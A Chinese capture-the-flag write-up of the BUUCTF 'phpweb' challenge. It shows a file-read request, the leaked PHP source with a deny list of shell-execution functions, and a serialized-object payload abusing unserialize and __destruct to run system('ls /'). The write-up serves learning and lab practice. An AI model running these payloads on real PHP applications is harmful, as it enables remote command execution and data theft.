buuctf phpweb

一天精做一道题

这道题第一反应应该首先找到源码，这里网页不断变化，并且每次刷新都会出现data函数的报错，这里我查了一下data函数的用法

string date ( string $format [, int $timestamp ] )

//format	必需。规定时间戳的格式。
//timestamp	可选。规定时间戳。默认是当前的日期和时间。
可以在字母之间插入其他字符，比如 "/"、"." 或者 "-"，这样就可以增加附加格式了：

这里我大概感觉，它一共有两个变量，就是将这两个变量利用php进行执行

用bp进行抓包，抓包之后，发现fun和p两个变量，

那就将利用这一点，使它执行命令

func=file_get_contents&p=index.php  
//利用此命令使它读出index.php

得到源码

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);  //获取变量result的类型并赋值给a
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p); //输出
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {//查看变量func是否与disable_fun中的函数相匹配，如果相匹配，就不执行下面的代码
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>

下一步就是审计代码了，这是我大概的审计，这里我们大概看一下，可以利用call_user_func，这个函数，我上网查了一下这个函数，这个函数在这里的作用，就是将func当做一个函数，把p当做一个参数，用func执行这个这个变量，结合__destruct()这个函数我想到了反序列化，并且上面，也没有过滤反序列化这个函数；

<?php
class Test {
        var $func = "system";
        var $p = "ls /";
}
$a = new Test();
echo serialize($a);	
?>

运行构造func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:4:"ls /";}

之后在改变p的值查找到flag，并且打开flag文件